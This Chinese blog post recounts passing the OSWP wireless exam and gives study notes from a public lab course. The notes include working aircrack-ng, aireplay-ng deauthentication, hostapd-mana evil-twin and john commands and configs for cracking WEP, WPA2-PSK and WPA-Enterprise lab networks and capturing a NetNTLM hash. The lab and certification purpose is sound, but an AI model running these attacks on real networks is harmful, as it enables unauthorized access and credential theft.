OSWP学习分享+晒证书
证书镇楼

考试经历
2026.4.11中午开始边看资料边操作,资料看了一半直接约了第二天中午的考试
2026.4.12-14.00开始考试,不到五点就拿到合格分数结束考试,五点半就提交了报告,考的最快的一次
一些无法评价的...
(含金量)


作为一个学半天就能考过的证书(OSWP)被放在高级证书内,而难度远大于它的OSCP确只能在中级证书里,表示非常奇怪。
建议
因为确实技术较为落后,个人感觉实用性不强。建议就是最好不要自费考这个证书,一般都是买了learn one套餐的会送一次OSWP证书考试机会,考一下还行,不考白不考。我考是因为我是LU无限学习套餐,想吃个全家桶。
学习资料
OSWP Exam Prep – Free WiFi Hacking Course | WEP, WPA2 & Enterprise Labs
如何通过OSWP考试:完整的WiFi黑客指南及所有指令和实验室攻略——CavemenTech——破解技术
课程涵盖内容
──────────────────────────────────────
✅ WiFi黑客基础知识及802.11的工作原理
✅ 实验室设置——导入OVA,完全不需要硬件
✅ 使用airodump-ng和airmon-ng进行侦察
✅ WEP 破解 — ARP 回放,PTW 攻击
✅ WPA2破解——四向握手与PMKID攻击
✅ WPA企业黑客 — 流氓AP、EAP-PEAP、MSCHAPv2
下文的操作及过程均来自上面的公开学习资料,靶机也是,与OFFSEC课程内容无关
工具安装
基础(初始化)
kill 干扰进程
sudo airmon-ng check kill

检查无线接口和无线网卡的功能信息
检查所有无线接口
iwconfig
iwconfig | grep wlan1

检查无线网卡的功能信息
iwlist

检查每张无线网卡的功能
iw list

主要是寻找支持monitor的

iw dev可以检查每张网卡的mac地址等信息

监听模式
利用airmon-ng
开启监听模式,开启后一般会被重命名为wlan0mon
sudo airmon-ng start wlan0

手动开启监听
sudo ifconfig wlan1 down
sudo iwconfig wlan1 mode monitor
sudo ifconfig wlan1 up
注意开关网卡用的是ifconfig,但是改模式用的是iwconfig
更改国家和区域(接触不能扫描5Ghz的限制)
不同的国家和地域,支持的频率不一样,检查当前的国家和区域
iw reg get

尝试改为US地区,可以取消在5Ghz信道上的被动扫描限制
sudo iw reg set US

侦察
一般操作
扫描2.4GHz-5GHz频段,找到BSSID(接入点的MAC地址)、Channel(信道)、ESSID(网络名称)
sudo airodump-ng --band abg wlan0mon
上面命令中的abg即下表内的各频段
| 频段标志 | 频段 | Standard |
|---|---|---|
| a | 5GHz | 802.11a |
| b | 2.4GHz | 802.11b |
| g | 2.4GHz | 802.11g |

对应关系:BSSID(接入点的MAC地址)、Channel(信道)在上图内是CH列、ESSID(网络名称),ENC是加密类型,PWR是信号强度
确定了目标所在的信道后,可以通过-c参数指定信道数值来减小噪声
sudo airodump-ng --band abg -c 6 wlan0mon

完整的专业侦察(常用)
使用监听模式网卡扫描 2.4GHz + 5GHz WiFi,并记录数据包,同时显示厂商和 WPS 信息,一般需要抓取至少30s
sudo airodump-ng wlan0mon -w ~/wifi/scan --manufacturer --wps --band abg
-w指定目录,输出cap文件,对于之后破解密码很重要
--manufacturer显示设备厂商
--wps显示 WPS 信息,如果 WPS 开启,可以尝试 PIN 爆破攻击
WEP(设计缺陷,几分钟便可破解)
该协议是上世纪90年代所提出的了,家用和企业场景已经很少见,但攻击面并不小,因为老旧设备、iot设备等还在大量使用该协议,属于历史遗留问题。(本质上是因为WEP依赖早期的流密码设计思想,例如基于 RC4流密码,当时没有充分考虑大规模无线环境中的统计攻击与重放问题)
风险
- IV过短使用24位IV初始化向量,在网络中很容易重复出现,导致密钥流重用。(24位意味着最多约1600万种组合,在高流量网络中很快就会“撞IV”;而流密码一旦IV+密钥相同,就会生成相同的密钥流,从而可以通过两个密文异或还原明文关系,属于典型的“two-time pad”问题)
- 存在设计缺陷,一旦IV重复出现,攻击者就可以通过FMS和PTW攻击从数学角度推导出密钥(这里的FMS攻击指 FMS攻击,利用RC4密钥调度算法(KSA)的偏差;PTW攻击指 PTW攻击,是对FMS的改进版本,收敛更快、所需数据包更少,本质都是通过统计分析IV与密钥字节之间的概率关系逐步恢复完整密钥)
- 不用等待IV重新出现,只需要注入ARP请求即可强制复现该问题,迫使接入点每秒输出数千个新的IV(ARP请求属于广播流量,接入点会不断响应并产生新的加密数据包;攻击者可以利用工具不断重放/伪造 ARP协议 请求,从而人为“刷包”,快速收集大量带有不同IV的密文,加速FMS/PTW统计攻击过程,通常几分钟内即可恢复WEP密钥)
手动攻击
侦察(确定目标)
先把wlan0开启监听模式
sudo airmon-ng start wlan0
第一次监听
sudo airodump-ng wlan0mon --band abg

有针对性的捕获
sudo airodump-ng wlan0mon --bssid F0:9F:C2:71:22:11 -c 3 -w wifi-old
注意Data列,是捕获的变量数量,要破解密钥,一般需要2w-5w个

伪造认证
欺骗路由器,让他和我们交互
sudo aireplay-ng -1 3600 -q 10 -a F0:9F:C2:71:22:11 wlan0mon
这条命令是使用 aireplay-ng 发起 Fake Authentication(伪认证攻击) ,目的是让攻击机成功“伪装连接”到目标AP,从而后续可以进行数据包注入(比如ARP重放)。
逐段解释如下:
sudo提权执行,因为无线网卡注入需要原始套接字权限aireplay-ng用于数据包注入与重放的工具(aircrack-ng套件核心组件之一)-1指定攻击模式为 **Fake Authentication(模式1)**本质是模拟一个客户端向AP发送认证请求,让AP认为你已经连接成功(即便你不知道密钥)3600重新认证时间(秒)表示每隔3600秒(1小时)重新进行一次伪认证,防止被AP踢掉连接状态-q 10保活间隔(秒)每10秒发送一次Keep-Alive包,维持认证状态,避免AP认为客户端掉线-a F0:9F:C2:71:22:11目标AP的BSSID(无线网卡MAC地址)指定你要“伪装连接”的接入点是谁wlan0mon
已开启监听模式(Monitor Mode)的无线网卡接口
通常由airmon-ng创建
ARP请求重放
但空闲的网络上,捕获2w-5w个变量需要数天时间,所以需要进行ARP请求重放攻击来使网络变得活跃
sudo aireplay-ng --arpreplay -b F0:9F:C2:71:22:11 -h 02:00:00:00:00:00 wlan0mon
这条命令是使用 aireplay-ng 发起 ARP Replay(ARP重放攻击) ,其核心目的是快速制造大量数据包(IV)以加速WEP破解。
逐段解释如下:
-
sudo提权执行,网卡注入需要root权限 -
aireplay-ng用于无线数据包注入/重放的工具 -
--arpreplay指定攻击模式为 ARP Replay(等价于-3**)**原理是捕获一个合法的ARP请求包,然后不断重放它,让AP持续生成新的加密数据包(每个包都有新的IV) -
-b F0:9F:C2:71:22:11目标AP的BSSID指定攻击的无线接入点 -
-h 02:00:00:00:00:00攻击者使用的客户端MAC地址(源MAC)需要伪装成一个“已连接”的客户端(通常配合前面的Fake Auth使用)这个MAC可以是:- 自定义(如这里的02开头表示本地管理地址)
- 或伪装成真实客户端(更隐蔽)
-
wlan0mon
监听模式的无线网卡接口

破解密钥
aircrack-ng wifi-old-01.cap

连接
写一个连接文件mousepad /tmp/wep.conf
network={
ssid="wifi-old"
key_mgmt=NONE
wep_key0=11BB33CD55
wep_tx_keyidx=0
}
连接
sudo wpa_supplicant -D nl80211 -i wlan2 -c /tmp/wep.conf

DHCP获取地址
sudo dhclient wlan2 -v

网关在1.1

自动化利用(OSWP内不能使用)
OSWP内不能使用
sudo besside-ng -c 3 -b F0:9F:C2:71:22:11 wlan2 -v
WPA/WPA2(PSK,主流家用,安全性依赖密码强度)
该协议用于替代WEP,是当前最常见的无线加密方案(尤其是WPA2-PSK)。相较于WEP,其核心改进是引入了更安全的密钥协商机制(4次握手)以及更可靠的加密算法(如 AES-CCMP,早期WPA使用 TKIP)。但其安全性在很大程度上依赖用户设置的密码强度,属于“实现安全但使用可能不安全”。
风险
- 弱密码导致可离线破解WPA/WPA2-PSK的核心是预共享密钥(PSK),攻击者只需抓取一次4次握手(4-way handshake),即可进行离线暴力破解或字典攻击(无需再与AP交互)。如果密码较弱(如8位数字、常见口令),则可在较短时间内恢复明文密码
- PMKID攻击(无需客户端)攻击者可以直接向AP请求PMKID并捕获(无需等待客户端上线),然后离线进行破解。这种攻击本质上仍然依赖弱密码,但降低了攻击门槛(无需抓握手包)
- KRACK攻击(协议级漏洞)
KRACK攻击 利用4次握手中的重放机制缺陷,使客户端重复安装相同密钥,从而导致Nonce重用,进而实现数据解密或重放攻击(需要特定条件,且多数设备已通过补丁修复)
攻击
监控(捕获数据包)
先把wlan0开启监听模式
sudo airmon-ng start wlan0
第一次监听
sudo airodump-ng wlan0mon --band abg

有连接到wifi-mobile的设备,针对该wifi进行下一步的数据包捕获,它的BSSID是F0:9F:C2:71:22:12,信道是6,-w是文件名字,随便起,但建议用wifi名字便于后面快速寻找
sudo airodump-ng wlan0mon --bssid F0:9F:C2:71:22:12 -c 6 -w wifi-mobile
sudo airodump-ng wlan0mon --bssid 76:B9:5D:54:54:82 -c 1 -w it-center
取消认证攻击
由于目标用户已经连接了,所以并不会产生握手包,所以需要在开一个终端来发送取消认证包使该用户掉线,等待他自动重连时即可获得握手包
sudo aireplay-ng -0 10 -a F0:9F:C2:71:22:12 wlan0mon
-0表示DOTH攻击,10是发送踢出用户的包的数量
-a指向路由器mac地址

出现图中圈起来的则代表已经抓到了握手包,可以停止捕获
破解捕获的WPA预共享密钥
aircrack-ng wifi-mobile-01.cap -w /usr/share/wordlists/rockyou.txt
# 其他字典
/usr/share/john/password.lst

连接上去
写配置文件
mousepad /tmp/wpa.conf
内容如下
network={
ssid="wifi-mobile"
bssid=F0:9F:C2:71:22:12
psk="starwars1"
}
连接
sudo wpa_supplicant -i wlan1 -c /tmp/wpa.conf
DHCP获取地址
sudo dhclient wlan1 -v

网关为192.168.2.1

oswp内可以直接拿proof.txt了
curl http://192.168.2.1/proof.txt
WPA/WPA2 Enterprise(MGT,企业级认证,安全性依赖认证体系)
该协议主要用于企业环境,基于 802.1X认证 和 EAP协议 实现,每个用户使用独立凭证(如用户名/密码或证书),通过后端认证服务器(通常为 RADIUS服务器)完成认证。相比WPA2-PSK,其核心优势是“每用户独立认证 + 动态密钥分发”。
风险
- 证书未校验导致中间人攻击在某些EAP方式(如PEAP/MSCHAPv2)中,如果客户端未正确校验服务器证书,攻击者可以搭建伪造AP(Evil Twin),诱导用户连接,从而窃取认证凭据
- MSCHAPv2可被离线破解某些企业环境仍使用MSCHAPv2进行认证,其本质安全性较弱,一旦攻击者获取挑战响应数据,可通过离线破解恢复用户密码(尤其是弱密码场景)
- 配置复杂导致误配置风险
WPA/WPA2 Enterprise依赖多组件(客户端、AP、RADIUS、证书体系),一旦配置不当(如关闭证书验证、使用弱EAP类型),整体安全性会显著下降,甚至退化为“可钓鱼攻击”的状态
攻击一般是通过假设流氓接入点,拦截身份验证,离线破解hash

攻击
侦察(确定目标)
先把wlan0开启监听模式
sudo airmon-ng start wlan0
第一次监听
sudo airodump-ng wlan0mon --band abg
AUTH位MGT的即为企业级认证

捕获数据包
sudo airodump-ng wlan0mon --bssid F0:9F:C2:71:22:15 -c 44 -w wifi-corp --output-format pcap

第一次取消认证攻击
当显示客户端建立了隧道后,我们需要进行身份验证
sudo aireplay-ng -0 10 -a F0:9F:C2:71:22:15 wlan0mon

会显示抓到wpa握手但是那个无法利用,真正需要的是握手过程中抓到的证书
提取证书
tshark -r wifi-corp-01.cap -Y "wlan.bssid == F0:9F:C2:71:22:15 && eap && tls.handshake.certificate" -V | grep "rdnSequence:" -A 1 | head -n 20

有时候数据太多不好看,筛选一下,也可以这样筛选
tshark -r wifi-corp-01.cap -Y "wlan.bssid == F0:9F:C2:71:22:15 && eap && tls.handshake.certificate" -V | grep "rdnSequence:" -A 1 | head -n 20

全部证书信息如下
# server
[email protected]
commonName=WiFiChallenge CA
organizationalUnitName=Server
organizationName=WiFiChallenge
localityName=Madrid
countryName=ES
# ca
[email protected]
commonName=WiFiChallenge CA
organizationalUnitName=Certificate Authority
organizationName=WiFiChallenge
localityName=Madrid
stateOrProvinceName=Madrid
伪造证书
需要安装freeradius
sudo apt update
sudo apt install freeradius
编辑ca配置
sudo mousepad /etc/freeradius/3.0/certs/ca.cnf

编辑server配置
sudo mousepad /etc/freeradius/3.0/certs/server.cnf

创建/tmp/mana.eap_user文件
* PEAP,TTLS,TLS,FAST,MD5,GTC,MSCHAPV2
准备证书
cd /etc/freeradius/3.0/certs/
sudo rm dh
openssl dhparam -out dh -2 2048
make
创建/tmp/network.conf
interface=wlan3
driver=nl80211
ssid=wifi-corp
hw_mode=a
channel=44
auth_algs=1
wmm_enabled=1
ieee80211n=1
ieee8021x=1
eap_server=1
eap_user_file=/tmp/mana.eap_user
ca_cert=/etc/freeradius/3.0/certs/ca.pem
server_cert=/etc/freeradius/3.0/certs/server.pem
private_key=/etc/freeradius/3.0/certs/server.key
private_key_passwd=whatever
dh_file=/etc/freeradius/3.0/certs/dh
wpa=2
wpa_key_mgmt=WPA-EAP
rsn_pairwise=CCMP
# 记录提交的凭据
mana_wpe=1
mana_credout=/tmp/hostapd.credout
架设流氓wifi
# 不一定用哪张网卡,这里用的wlan3
sudo ifconfig wlan3 down && sudo ifconfig wlan3 up
sudo hostapd-mana /tmp/network.conf

第二次取消认证攻击,拿hash,破解
sudo aireplay-ng -0 0 -a F0:9F:C2:71:22:15 -e wifi-corp wlan0mon

juan.tr:$NETNTLM$2882430181e823a2$5bc88fb7536497a1d0d1c3c131edd4768743a3e98550e310
成功获得hash,尝试破解
echo '$NETNTLM$2882430181e823a2$5bc88fb7536497a1d0d1c3c131edd4768743a3e98550e310' > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

bulldogs1234
连接
写连接配置文件 /tmp/client.conf
network={
ssid="wifi-corp"
scan_ssid=1
key_mgmt=WPA-EAP
eap=PEAP
identity="CONTOSO\juan.tr" # Replace with captured identity
password="bulldogs1234" # Replace with cracked password
phase1="peaplabel=0"
phase2="auth=MSCHAPV2"
}
连接
sudo wpa_supplicant -i wlan4 -c /tmp/client.conf
dhcp获取地址
sudo dhclient wlan4 -v

默认评论
Halo系统提供的评论